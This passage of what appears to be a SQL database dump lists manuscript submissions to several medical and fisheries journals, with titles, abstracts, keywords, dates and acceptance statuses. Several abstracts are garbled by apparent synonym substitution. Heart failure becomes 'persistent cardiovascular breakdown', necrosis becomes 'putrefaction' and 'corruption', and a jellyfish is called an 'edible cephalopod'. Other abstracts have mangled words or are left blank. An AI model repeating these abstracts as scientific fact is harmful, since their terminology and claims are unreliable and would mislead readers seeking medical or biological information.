analyzed for listnera in two regions: northern (Acre, Haifa and Shefaim) and central and southern (Tel Aviv and Ashdod). Initial screening was performed using PCR analysis with specially designed primers on DNA extracted from liver and kidney. For P. damselae-positive specimens, 16S rRNA amplicons were sequenced. An attempt was then made to determine related subspecies using a three-step genetic screen auto, ureC and toxR. 20 of which were classified as P. damselae subsp. piscicida (Phdp), two as P; Damsel subspecies. damselae (Phdd) and 25 could not be assigned to any subspecies. Our results reinforce the idea that fish living in contaminated environments are susceptible to pathogenic microbes. To assess how pathogen presence affects population management and conservation, this study should be followed by studies aimed at: Establish a standardized contamination index as a basis for (i) quantifying the levels of contaminants that can affect pathogen outbreaks and (ii) establishing criteria upon which authorities will take preventive action.','wild fish pathogens; Listonella; diseases; Mediterranean sea',1776,NULL,'2023-03-15',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13587,13737,45,0,'iphsj-23-13587','Application of Machine learning in long term healthcare cost prediction',NULL,17,0,'','Through the years, health expenditures have been increasing among developed and developing countries. Specifically, total health expenditure in Rwanda, has experienced an increasing trend, for example the total health expenditure in Rwanda was 282929; 329526 and 324385 million Rwandan francs\r\nin 2016 ; 2017 and 2018 respectively and the rise in healthcare expenditures need a rational and equity\r\nmanagement to better provide health services efficiently and effectively.The ARIMA model has been\r\nthe preferred model to forecast health expenditures for decades which later have been criticized to not\r\ncapture the non-linear behavior in data. Moreover, two decades ago, the artificial neural networks\r\n(ANNs) models have got attention and improved the forecasting accuracy. However, It has been found\r\nthat each of the two models has weaknesses when linear and nonlinear behaviors are in the data, thus\r\neach of the ARIMA and ANN is no longer appropriate to model the series. Since the ARIMA model\r\nonly performs better in capturing linear behavior and ANN is good in capturing non-linear behavior\r\nin data. It is with this background that, we proposed a hybrid model, which differs in combining the\r\nadvantages of ARIMA and ANNs in capturing the linear and non-linear relationship in data. The\r\nARIMA-ANNs model was tested on sets of health expenditure actual data. Our results showed the\r\neffectiveness of the hybrid model which has a higher prediction accuracy as compared to the existing\r\nmodels. Because of the fact, the empirical results from all of the three models considered in this study\r\nshowed that from 2006 looking forward to 2027, there will be an increasing trend of health expenditure. The results showed that the forecasted values of health expenditure by ARIMA models will be\r\n557,299.97 million Rwandan francs in 2027. While using the ANNs models, the forecasted values are\r\n555,090.65 million Rwandan francs in 2027 And, the ARIMA-ANN models forecasted values in 2027\r\nare 552,881.33 million Rwandan francs. This study recommends the use of the ARIMA-ANN hybrid\r\nwhile modeling the health expenditure.','ARIMA, Box–Jenkins methodology, artificial neural networks, time series forecasting, combined forecast',643,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13588,13738,73,0,'ipjnn-23-13588','A CASE REPORT ON MULTIPLE SCLEROSIS',NULL,2,0,'','The purpose of this case report is to illustrate the clinical manifestations of Multiple Sclerosis at the earliest stage and to show how it worsens. Multiple Sclerosis is an autoimmune disorder that affects the Central Nervous System. The prevalence of MS is increasing worldwide. This study demonstrates the early signs of MS in a 23-year-old woman, the diagnosis of RRMS, and the course of treatment','Multiple Sclerosis, Central Nervous System, Fingolimod',337,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-04-06',NULL,1,1,'0','   ',0,'','',NULL,0,0,0,NULL,0),(13589,13743,639,0,'ipfs-23-13589','Effects of pH and Air on the Transformation of Podocysts in Edible Cephalopods',NULL,25,0,'','Rhopilema esculentum is one of the edible cephalopods, a traditional Chinese fishery resource and an important economic aquaculture species. However, given the current natural resource depletion and frequent disease problems in breeding populations, the quantity and quality of seedlings in artificial propagation cannot meet market demand. Temperature and salinity have been hypothesized to play important roles in regulating asexual reproduction in R. esculentum. In this study, we investigated the combined effects of exposure to R after preservation. esculentum podocysts (stored at 2 ± 1 °C for more than 12 months) to three variable temperatures (14.5 °C on April 1, 18 °C on May 1, and 23.2 °C on July 1). simulated temperature obtained from the start date), corresponding to natural levels) and three salinities (20, 25, and 30). We tested podocyst excystation, strobilation onset time, strobilization duration, and cumulative number of efia over 45 days, and analyzed the rate of migration from podiatric to efia to determine the optimal combination of temperature and salinity. Decided. Results showed that popodocyst excystation and ephia production occurred with all treatments. Higher temperature and lower salinity significantly accelerated postcyst excystation and accelerated the onset of strobilation (p<0.05). Lower salinity (20 and 25) produced significantly larger ephyra numbers when the temperature increased from 18 °C on May 1 to natural values (p<0.05). There was a significant interaction between temperature and salinity in cumulative ephyra counts and podocyst-to-ephyra transmission rates (p<0.05). These results suggest that R. esculentum podocysts can be recycled for long-term cryopreservation. Temperature and salinity adjustments can influence the number and timing of R. esculentum seedlings to achieve high production and meet market demand for real-time seedling supply. This conclusion provides a scientific basis for innovative methods for sustainable utilization of edible cephalopod (R. esculentum) resources.','economic cephalopods; experimental ecology; control technology; polyps; asexual reproduction; resource utilization',1776,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13591,13741,639,0,'ipfs-23-13591','The Actual Needs for Medical Care and Related Characteristics in the Fishing Community',NULL,5,0,'','Immigrant workers are an important part of fishing, but society easily overlooks them. Immigrant fisheries workers\' health issues and characteristics are still unknown. There were descriptive and retrospective analyses carried out. Between 1 August 2016 and 31 July 2017, outpatient data for six fishing villages in the North Eastern were gathered from a primary care clinic. The information of workers who were immigrants was recorded and compared to that of natives. Immigrant workers were significantly younger than natives, predominantly male, and had fewer mean annual visits. During the third quarter of the year, the immigrant worker\'s visits tended to be more focused. Workers from immigrant countries paid more for registration and self-payment, but their total costs were lower because they paid less for diagnostic tests, oral medications, and lab tests. The main five analyses for migrant specialists were respiratory illnesses (38.3%), injury (15.2%), outer muscle sicknesses (11.2%), skin-related infections (9.5%), and stomach related sicknesses (9.1%). Settler laborers were decidedly connected with irresistible/parasitic infections, and adversely corresponded with clinical counsels and endocrine/metabolic sicknesses. Self-payment and registration fees were also positively correlated with immigrant workers, but total costs and diagnosis fees were negatively correlated (all p  0.05). Age and sex, not ethnicity, influenced the distribution of skin diseases and trauma. The health concerns of immigrants should receive greater attention.','community medicine; fisheries; immigration; labors; primary health care',1777,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-03-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13592,13740,639,0,'ipfs-23-13592','Microbial Species and Drug Resistance Evaluation in Aquacultures using Genomics and in Addition to Genome Analysis',NULL,19,0,'','Due to the rising demand for human nutrition and a lack of wild fishery resources, aquaculture has experienced a significant expansion in terms of production and economic value over the past few decades. Therefore, sustainable aquaculture production is one of the European Union\'s top priorities in the 2030 agenda. However, the expansion of fish farming has resulted in an increase in the use of antibiotics to combat illness and a rise in the risk of outbreaks. The selective pressure generated by these drugs creates the ideal conditions for the emergence of antimicrobial resistance hotspots in aquaculture facilities. Refers to a collection of contemporary technologies such as genomics, metagenomics, transcriptomics, proteomics, culturomics, and metabolomics. These techniques have received increasing acclaim because of their capability to decipher novel biological science mechanisms. Metagenomics makes it possible to study microbial genomes in specific environments. In aquaculture, microbial diversity, microbial functions, and antibiotic resistance genes could all be studied with the help of metagenomics. The high-throughput technologies used in aquaculture studies of microbial diversity and antimicrobial resistance will be discussed in detail in this review.','aquaculture; bacterial communities; antibiotic resistance; microbial metagenomics',1776,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13593,13739,639,0,'ipfs-23-13593','Fish in Virome Fisheries Pathology\'s Impact on Next-Generation Sequencing',NULL,17,0,'','The viruses that can be propagated in cell cultures or that can infect humans or economically important animals and plants are the focus of much of the research on viruses. However, only a small portion of the virosphere is represented here. As a result, we investigate the virome differences between Atlantic horse mackerels and gilthead seabreams from fisheries and aquaculture in the center and south of Portugal using targeted next-generation sequencing in this study. The Astroviridae, Nodaviridae, Hepadnaviridae, Birnaviridae, Caliciviridae, and Picornaviridae families were found to have viral genomes that could be harmful to humans as well as fish and crustaceans.','virome diversity; metagenomics; Atlantic horse mackerel; gilthead seabream; health-threat',1776,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13594,13742,639,0,'ipfs-23-13594','Salmonids\' a Disinfectant with a Capacity of a Fisheries Approach',NULL,3,0,'','Infectious diseases, including those that are bacterial in origin, continue to pose a threat to the aquaculture industry. Aquaculture has displaced capture fisheries as the primary method for producing fish protein, despite the disease burden. The culture of salmonids, which are (a) the most valuable finfish per unit of weight and (b) under unique pressure due to overfishing, is an appealing sector within this industry. Antibiotics are frequently used to combat bacterial disease outbreaks because there are still knowledge gaps regarding fish immunity, which results in vaccines that are not as effective as those for terrestrial species. Even though it works, this method makes it more likely that antibiotic-resistant bacteria will grow. A deeper comprehension of the immune system of teleosts is necessary in order to facilitate the development of vaccines and/or alternative treatments. The state of teleost antibacterial immunity in salmonid aquaculture is highlighted in this review. In addition, the effectiveness of the current approaches to fighting bacterial diseases in salmonid aquaculture will be discussed. In the future, reducing aquaculture losses will be made easier by filling the knowledge gaps in immunology that have been highlighted here.','aquaculture; salmonids; bacterial pathogens; comparative immunology; adjuvants',1776,NULL,'2023-03-16',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13595,13744,73,0,'ipjnn-23-13595','Machine Learning-Based Electroencephalogram (EEG) Applications and its Marketing',NULL,14,1,'Overview of Nervous System Disorders','','',333,NULL,'2023-03-17',NULL,'Submitted',2,NULL,'2023-04-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13596,13745,91,0,'ijddr-23-13596','Spray Fluidized-Bed Granulation Method Phase for Drug Development: Control of Particle Quality via Data-Driven, Model-Free Adaptation',NULL,5,0,'','A novel data-driven model-free adaptive control (DDMFAC) approach is first presented, and then its stability and convergence analysis is provided to show algorithm stability and asymptotical convergence of tracking error. This approach combines the advantages of model-free adaptive control (MFAC) and data-driven optimal iterative learning control (DDOILC). In order to determine the occupied proportions of MFAC and DDOILC in accordance with their diverse control performances in various control stages, fuzzy logic is also used to adaptively adjust the parameters of the suggested approach. The proposed fuzzy DDMFAC (FDDMFAC) approach is utilised to regulate particle quality in the spray fluidized-bed granulation process\'s drug formulation stage. This approach\'s control efficiency is contrasted with that of MFAC, DDOILC, and their fuzzy versions, in which MFAC and DDOILC\'s parameters are adaptively changed using fuzzy logic. The efficiency of the suggested FDDMFAC approach is verified by a number of simulations.','Drug Development; Nano crystal; Spray fluidized-bed; Drug formulation; Solubility enhancing technologies',5033,NULL,'2023-03-17',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13597,13746,639,0,'ipfs-23-13597','Recent Advances in Coastal Finfish Aquaculture',NULL,19,2,'','With the introduction of the “Blue Revolution”, Aquaculture has become one of the most important growing sectors in the food production systems. Many new developments have been made and are implicated in the aquaculture industry, especially in the finfish department which contributes globally to around 42% of the total fish production. This chapter summarizes the recent advancements and improvements in the culture of four major coastal finfish species which are Asian Sea bass (Lates calcarifer); Milkfish (Chanos chanos); Grey Mullet (Mugil Cephalus); Pearl spot (Etroplus suratensis). It also gives an insight of how the fishes are cultured in captivity starting with brood stock development, captive maturation, spawning through hormonal administration, larval rearing, nursery and then grow-out phase. With all these new developments in the culture techniques, the growth and survival rate of the fishes have increased to a much greater extent hence benefitting the Aquaculture Industry','Coastal aquaculture; Lates Calcarifer; Chanos chanos; Mugil Cephalus; Etropus suratensis.',1776,NULL,'2023-03-17',NULL,'Submitted',12,NULL,'2023-09-01',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13598,13747,45,0,'iphsj-23-13598','Meta-analysis of perceptions of occupational risks in the COVID-19 era',NULL,14,0,'','The objective of the work was to review the literature on the perception of occupational risks during the pandemic. A documentary, cross-sectional and systematic research was carried out with a selection of journals indexed to international repositories, considering the period that the pandemic takes from 2019 to 2022. A network of profusion and connectivity was found that explains the differences and perceptive similarities around risks labor. In relation to biosafety policies, it is recommended to adjust the model in order to anticipate decisions and behaviors determined by expectations against or in favor of work accidents and professional illnesses.','COVID-19, Risk perception, Meta-analysis, Homogeneous random effects',5388,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13599,13748,277,0,'ipadm-23-13599','Aspectos financieros del colapso cardiovascular persistente',NULL,5,0,'','Persistent cardiovascular breakdown (CHF) is currently perceived as a significant and raising general medical condition. The expenses of this condition, both in monetary and individual terms, are impressive. The pervasiveness of CHF is 1-2% and seems, by all accounts, to be expanding, to some degree in light of maturing of the populace. Monetary investigations of CHF ought to incorporate both immediate and roundabout expenses of care. Medical services consumption on CHF in created nations consumes 1-2% of the complete medical services spending plan. The expense of hospitalization addresses the best extent of absolute consumption. Advancement of medication treatment addresses the best approach to diminishing expenses. Ongoing financial examinations in the Netherlands and Sweden propose the expenses of care are rising.','Cardiovascular, Pervasiveness, Medicinal, Treatment.',2805,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-04',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13600,13749,277,0,'ipadm-23-13600','Los efectos devastadores de la necrosis: comprender el proceso y las consecuencias de la muerte del tejido',NULL,5,0,'','Cells experience necrotic demise when presented to outrageous ecological circumstances, antagonistic and unnecessary upgrades, or when harmful changes are encoded in their hereditary material. Not at all like apoptosis, which includes an exceptionally managed and elaborate organization of biochemical occasions and fountains, corruption has been thought about by and large to be a turbulent wantonness process that impacts the inflexible end of cells in any case not bound to kick the bucket. This dismal possibility is currently leisurely being toppled, generally by thrilling new discoveries in two straightforward model creatures, Caenorhabditis elegans and Drosophila melanogaster. Regardless of the wide range of corruption starting circumstances, proof is gathering that execution of necrotic or neurodegenerative cell passing might be done by a limited normal arrangement of instruments.','Outrageous ecological, Caenorhabditis, Apoptosis, Melanogaster, Drosophila.',5023,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-04',NULL,1,1,'0','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13601,13750,277,0,'ipadm-23-13601','El estudio de la transmisión de enfermedades del colapso cardiovascular.',NULL,5,0,'','The cardiovascular breakdown disorder has first been portrayed as an arising pestilence around quite a while back. Today, in light of a developing and maturing populace, the all out number of cardiovascular breakdown patients actually keeps on rising. Nonetheless, the case blend of cardiovascular breakdown is by all accounts developing. Rate has balanced out and may try and be diminishing in certain populaces, however disturbing inverse patterns have been seen in the moderately youthful, potentially connected with an expansion in weight. What\'s more, an unmistakable change towards cardiovascular breakdown with a protected launch portion has happened. Albeit this progress is to some extent fake, because of further developed acknowledgment of cardiovascular breakdown as a problem influencing the whole left ventricular discharge division range, connections can be made with the developing weight of corpulence related infections and with the maturing of the populace. ','Cardiovascular, Ventricular, Maturing, Populace, Potentially.',5023,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-04',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13602,13751,277,0,'ipadm-23-13602','Características morfológicas de la apoptosis controlada',NULL,5,0,'','Putrefaction of a cell is characterized by the deficiency of its plasma layer uprightness. Morphologically, putrefaction happens in a few structures like coagulative corruption, colliquative rot, caseating rot, fibrinoid rot, and others. Biochemically, putrefaction was exhibited to address various hereditarily decided flagging pathways. These incorporate (I) kinase-interceded necroptosis, which relies upon receptor connecting protein kinase 3 (RIPK3)- interceded phosphorylation of the pseudokinase blended heredity kinase area like (MLKL); (ii) gasdermin-interceded putrefaction downstream of inflammasomes, additionally alluded to as pyroptosis; and (iii) an iron-catalyzed system of profoundly unambiguous lipid peroxidation named ferroptosis. Given the sub-atomic comprehension of the idea of these pathways, explicit antibodies might permit direct recognition of managed rot and connection with morphological elements. Necroptosis can be explicitly identified by immunohistochemistry and immunofluorescence utilizing antibodies to phosphorylated MLKL. In like manner, it is feasible to create cleavage-explicit antibodies against epitopes in gasdermin protein relatives. In ferroptosis, nonetheless, explicit recognition requires measurement of oxidative lipids by mass spectrometry (oxylipidomics). Along with old style cell demise markers, for example, TUNEL staining and discovery of separated caspase-3 in apoptotic cells, the expansion of the weapons store of corruption markers will permit neurotic recognition of explicit atomic pathways as opposed to disconnected morphological portrayals.','Putrefaction, Morphologically, Oxylipidomics, Ferroptosis, Gasdermin.',5022,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-04',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13603,13752,277,0,'ipadm-23-13603','El papel del factor de necrosis tumoral en la inflamación y la progresión de la enfermedad',NULL,5,0,'',' ',' ',5022,NULL,'2023-03-21',NULL,'Submitted',2,NULL,'2023-04-04',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13604,13753,971,0,'ipaclr-23-13604','Genomic Landscape and Immune Escape Mechanisms in Intravascular Large BCell Lymphoma',NULL,17,1,'Innovation in clinical and laboratory research','','',3249,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-04-14',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13606,13623,996,0,'ipar-23-13606','Neck impairment is connected with temporomandibular joint myofascial pain and segmental muscle flexibility',NULL,15,0,'','The primary objectives of this study are to examine the relationship between neck disability and muscle pain and to compare masticatory myofascial pain subjects\' neck disability to that of asymptomatic controls.','Neck impairment; Temporomandibular joint; Asymptomatic; Muscle flexibility',3649,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-04-24',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13607,13755,667,0,'iptb-23-13607','Implementing Genomic Profiling: Opportunities and Obstacles for Academic Medicine',NULL,5,0,'','The Baylor PGP\'s design and implementation are guided by the following guiding principles: high quality, robustness, low cost, adaptability, practical clinical utility, and the capacity to facilitate numerous areas of clinical research. The focus on extensive screening for rare disease-causing mutations rather than common risk-increasing polymorphisms is the approach\'s single most distinctive feature. The ability to screen for these variants at a low cost could have a significant impact on disease diagnosis, carrier detection, early detection of late-onset disease before symptoms appear, and even prenatal diagnosis. This system will not only create a counselling tool for individual \"consumers,\" but it will also fit into the existing medical record and be used by doctors who provide direct patient care.','',4686,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-03-27',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13608,13756,667,0,'iptb-23-13608','Setup Difficulties Implementing Policies for Translational Research in Electronic Health Records',NULL,5,0,'','EMRs, or electronic medical records, are frequently mentioned as an important new tool for integrating clinical trial capabilities into routine clinical practice. Nonetheless, consolidating clinical exploration and clinical consideration exercises into one brought together electronic data framework requires incorporating a significant group of administrative necessities and institutional strategies. In order for the EMR configuration to simultaneously meet all requirements, divergent interpretations of internal policies and external regulations must be reconciled. Additionally, attempts to implement potential policies in the EMR system revealed a number of commercial system limitations and inconsistencies. Until the commercial vendor provides the missing functionality, the authors describe a set of compromises that will be implemented at The Children\'s Hospital. Similar configuration and policy issues will need to be resolved at each facility of an EMR-implementing institution. Before incorporating translational research capabilities into an operational EMR, the authors present a list of questions that must be answered categorically in order to highlight these configuration difficulties.','',3933,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-03-27',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13609,13757,667,0,'iptb-23-13609','Slim-Prim: A Database for Biomedical Informatics to Support Translational Research',NULL,5,0,'','Slim-Prim, an integrated data system (IDS) for collecting, processing, archiving, and disseminating data from basic and clinical research, was developed in response to this challenge. Slim-Prim is accessed through user-friendly Web-based applications, removing the security risks associated with office or laboratory servers and increasing data accessibility. For institutional projects, Slim-Prim is a laboratory management interface and archive data repository. Importantly, de-identified data can be shared and analysed across research domains in a HIPAA-compliant manner thanks to multiple levels of controlled access. As a result, Slim-Prim fosters clinical and academic collaboration, which is crucial to the growth of translational research. Slim-Prim is an illustration of how IDS can be used to bridge the gap between laboratory discovery and practice and increase organizational efficiency.','Bioinformatics, health management, clinical trial, basic research, laboratory management, data sharing',3933,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-03-27',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13610,13758,667,0,'iptb-23-13610','Implications for Personalized Medicine and Circulating Glycaemia Biomarkers in Diabetes Treatment',NULL,5,0,'','The personalized medicine model seeks to identify unique characteristics within each patient that can serve as a basis for disease characterization and specialized treatment rather than managing those with a specific diagnosis in accordance with established guidelines. Hemoglobin A1C, fructosamine, and anhydroglucitol are among the circulating biomarkers of glycaemia that are utilized in the medical management of diabetes and are discussed in this article. The areas in which biomarker results do not correlate with anticipated results based on actual mean glycaemia are the focus of the discussion. Inconstancy among genuine and expected aftereffects of the different biomarker tests addresses chances to distinguish already vague subcategories of diabetes and gatherings of patients that fit into these subcategories. Finally, research areas that would further advance the field of personalized diabetes medicine are suggested for these subcategories.','1, 5-Anhydroglucitol; Diabetes Biomarkers; Glycation Gap; Hemoglobin A1C Variability; Hemoglobin Glycation Index; Personalized Medicine',4686,NULL,'2023-03-23',NULL,'Submitted',2,NULL,'2023-03-27',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13611,13759,45,0,'iphsj-23-13611','Water service quality networks against COVID',NULL,14,0,'','The public services have been the objective of research in the literature on governance since it was proposed to conceptualize them as common goods and thus be able to anticipate scenarios of collaboration and solidarity, but in the case of water supply and the payment of tariffs the panorama is complex since in the more developed cities the policies of tariff increase have been favorable while in the suburbs and rural areas it has been a catastrophe. The objective of this paper is to discuss such issues, investigating the contributions of literature and its proximity to the meanings of the actors. A non-experimental, cross-sectional and exploratory study was carried out with a non-probabilistic selection of informants from different sectors. An integral meaning that would contribute to governance was found, but the type of study, sampling and analysis can only be applicable to the interviewees, suggesting the inclusion of other more complex categories such as hyperopia and helplessness.','Structure, model, variable, correlation, consumption',5388,NULL,'2023-03-24',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13612,13760,45,0,'iphsj-23-13612','A comparison of the demographics and health systems in 4 Asian countries regarding antenatal care services and the prevalence of low birth weight.',NULL,14,0,'','ABSTRACT\r\nAim: This study aimed to see how the availability of comprehensive antenatal care (ANC) and its content affected the incidence of low birth weight (LBW) in four ASIAN member countries (ASIAN).\r\nMethods : The frequency of ANC visits and the seven service components were used as indicators of the comprehensiveness of coverage and substance of ANC services (blood pressure measurement, iron supplementation, tetanus toxoid immunization, explanations of pregnancy complications, urine sample test, blood sample test, and weight measurement). If more than four ANC visits and all seven components were provided, the coverage and content of the ANC services were rated as high. Using data from the four ASIAN nations in question from the Demographic Health Survey, multi-variable logistic regression with complicated survey designs was performed from 2014 to 2017.\r\nResults : Philippines (13.8%) had a greater percentage of LBW newborns than Indonesia (6.7%), Cambodia (6.7%), or Myanmar (7.5%). A low level of comprehensive coverage and substance of ANC services was linked to a 1.30 times higher incidence of LBW than a high level (adjusted odds ratio [aOR], 1.30; 95% confidence interval [CI], 1.11 to 1.52). In addition, after accounting for mothers\' demographic/socioeconomic characteristics, health habits, and other factors, the risk of LBW was higher in the Philippines than in other nations (aOR, 2.25; 95% CI, 2.01 to 2.51).\r\nConclusion : In summary, the incidence of LBW in Indonesia, Cambodia, and Myanmar was substantially correlated with the comprehensive coverage and substance of ANC services. The Philippines had a greater risk of LBW with inadequate ANC but no statistically significant evidence for this connection.','Female, Health surveys, Infant, Low birth weight, Pregnant women, Prenatal care.',5416,NULL,'2023-03-24',NULL,'Submitted',2,NULL,'2023-04-20',NULL,1,1,'0','Accept',0,'','',NULL,0,0,1,NULL,0),(13613,13754,996,0,'ipar-23-13613','Patients who experience excruciating facet joint distress',NULL,15,0,'','Description of human facet joint capsular tissues and degenerative facet joints. Lumbar facet joint degeneration may be a major cause of sciatica and low back pain. Neovascularization and cellular alterations in inflammatory factor expression in human degenerative facet joint capsular tissue were the focus of this study. The effects of pain stimulation on these changes in FJC tissues were also evaluated.','Capsular tissues; Neovascularization; Degeneration; Pain stimulation',3649,NULL,'2023-03-25',NULL,'Submitted',2,NULL,'2023-04-24',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13615,13762,277,0,'ipadm-23-13615','The Link between Hypertension and Heart Disease: Prevention and Management Strategies',NULL,5,0,'',' ',' ',5022,NULL,'2023-03-28',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13616,13763,277,0,'ipadm-23-13616','Kidney Transplantation: Challenges and Opportunities for Healthcare Providers',NULL,5,0,'',' ',' ',5022,NULL,'2023-03-28',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13617,13764,277,0,'ipadm-23-13617','Oropharyngeal Dysphagia: Understanding Swallowing Disorders',NULL,5,0,'',' ',' ',5023,NULL,'2023-03-28',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13618,13765,277,0,'ipadm-23-13618','Galactose and Brain Function: How This Sugar Affects Cognitive Health',NULL,5,0,'',' ',' ',5023,NULL,'2023-03-28',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13619,13766,277,0,'ipadm-23-13619','Preventing Hepatocellular Carcinoma in Hepatitis B Patients: Screening and Treatment Strategies',NULL,5,0,'',' ',' ',5023,NULL,'2023-03-28',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13620,13767,45,0,'iphsj-23-13620','Neurodynamics for motor recovery after stroke, a Review Article',NULL,14,0,'','Stroke is a leading cause of death and long term disability. In Asia, There are almost 75.2% mortalities related to stroke cases. Stroke results in variety of deficits including motor, sensory, cognitive, language, perceptual deficits and also affect level of consciousness. The main aim of this study is to carry out qualitative analysis of the studies that investigated the effects of neurodynamics in stroke patients. The following Databases were explored including; Research Gate, Google Scholar, PEDRO and PUBMED. Following keywords were used for the searches; e.g. neurodynamics, neural mobilization, upper motor neuron lesions, stroke, peripheral nerve mobilization and neural tension technique. The studies are selected by reviewing their abstracts, methodology, results and conclusion. There were 16 studies selected for the review including, 1 case study, 3 clinical trials, 3 systematic reviews and 9 randomized control trails (RCTs). There was a difference noted in application of the neurodynamic techniques in almost all reviewed studies. Out of 9 RCTs, only 1 study (Jacob Lorentzen) reported that neurodynamics was not effective to reduce spasticity. However it concluded the beneficial effects of neural mobilization to improve range of motion. There was 1 case study which reported that combination of neurodynamics with Botulinum toxin A was effective to reduce pain and increase range of motion. There were 3 systemic reviews which concluded that there was lack of qualitative and quantitative evidence to support the effects of neurodynamic on stroke. There were 3 clinical trials (quasi experimental studies) which supported the effects of neural mobilization technique. This review showed the beneficial effects obtained by the application of neurodynamics to improve range of motion, flexibility, tone reduction, pain intensity, nerve conduction velocity, cerebral cortical activity and post stroke functionality. This review concluded that there is limited evidence to support the effects of neurodynamics in stroke patients and further research is acquired in future.','Dynamic neural mobilization, neural mobilization, rhythmic neurodynamic, spasticity, stroke',643,NULL,'2023-03-28',NULL,'Submitted',14,NULL,'2023-05-08',NULL,1,1,'0','great\r\nready',0,NULL,NULL,NULL,0,0,0,NULL,0),(13621,13768,959,0,'ipacr-23-13621','PROGNOSTIC FACTORS AND SURVIVAL RATE IN PATIENTS WITH METASTATIC BONE DISEASE AT UNIVERSI SAINS MALAYSIA 8 YEARS REVIEW',NULL,14,0,'','ABSTRACT\r\nBackground: Surgical intervention for metastatic bone lesions has shown to have a satisfactory outcome. However, several factors can affect the survival of patients with metastatic bone disease. This review aims to evaluate the prognostic factors that affect the survival of patients with bone metastatic disease.\r\nMethods: A retrospective study was conducted on 40 patients with bone metastatic disease who underwent surgical treatment between 2007 and 2015 at the oncology unit of the orthopaedic department at Hospital Universiti Sains Malaysia. Prognostic factors affecting the median survival rate were evaluated. The performance status questionnaire of the Eastern Cooperative Oncology Group (ECOG) was used to assess the patient\'s quality of life at three, six, and twelve months post-operatively. The survival rate was calculated using the Kaplan-Meier method.\r\nResults: After evaluating 250 patient folders with metastatic bone disease, 40 cases met the inclusion criteria for this study. The study population consisted of 29 females and 11 males, with 70% of patients being under 60 years of age. The majority of patients were Malays (36 patients) and Chinese (4 patients). The most common primary tumour was breast cancer (42.5%), followed by thyroid cancer (17.5%, n=7).\r\nThe median survival for all patients was 36 months. Survival analysis revealed that age (p=0.028), chemotherapy (p=0.003), location of metastasis (p=0.021), surgical treatment for bone lesions (p=0.038), and quality of life assessed by ECOG questionnaire at three, six, and twelve months after surgery (p=0.001) were significant prognostic factors affecting survival of patients with metastatic bone disease.\r\nConclusions: Surgical intervention is a significant prognostic factor affecting survival in patients with metastatic bone disease. Patients with shorter life expectancies may require less invasive surgery, whereas those with longer survival estimates may require more extensive and durable reconstructive surgery. Other factors, such as age, location of lesions, number of bone lesions, and chemotherapy, also influence survival. The study further revealed that the ECOG performance status (0-2 and 3-5) of patients at three, six, and twelve months post-surgery is a statistically significant factor affecting survival.\r\nOverall, the study underscores the importance of considering various prognostic factors when managing patients with metastatic bone disease. These findings may help guide clinical decision-making and improve the overall prognosis and quality of life of patients with this condition.\r\n','Keywords: metastatic, bone, cancer, 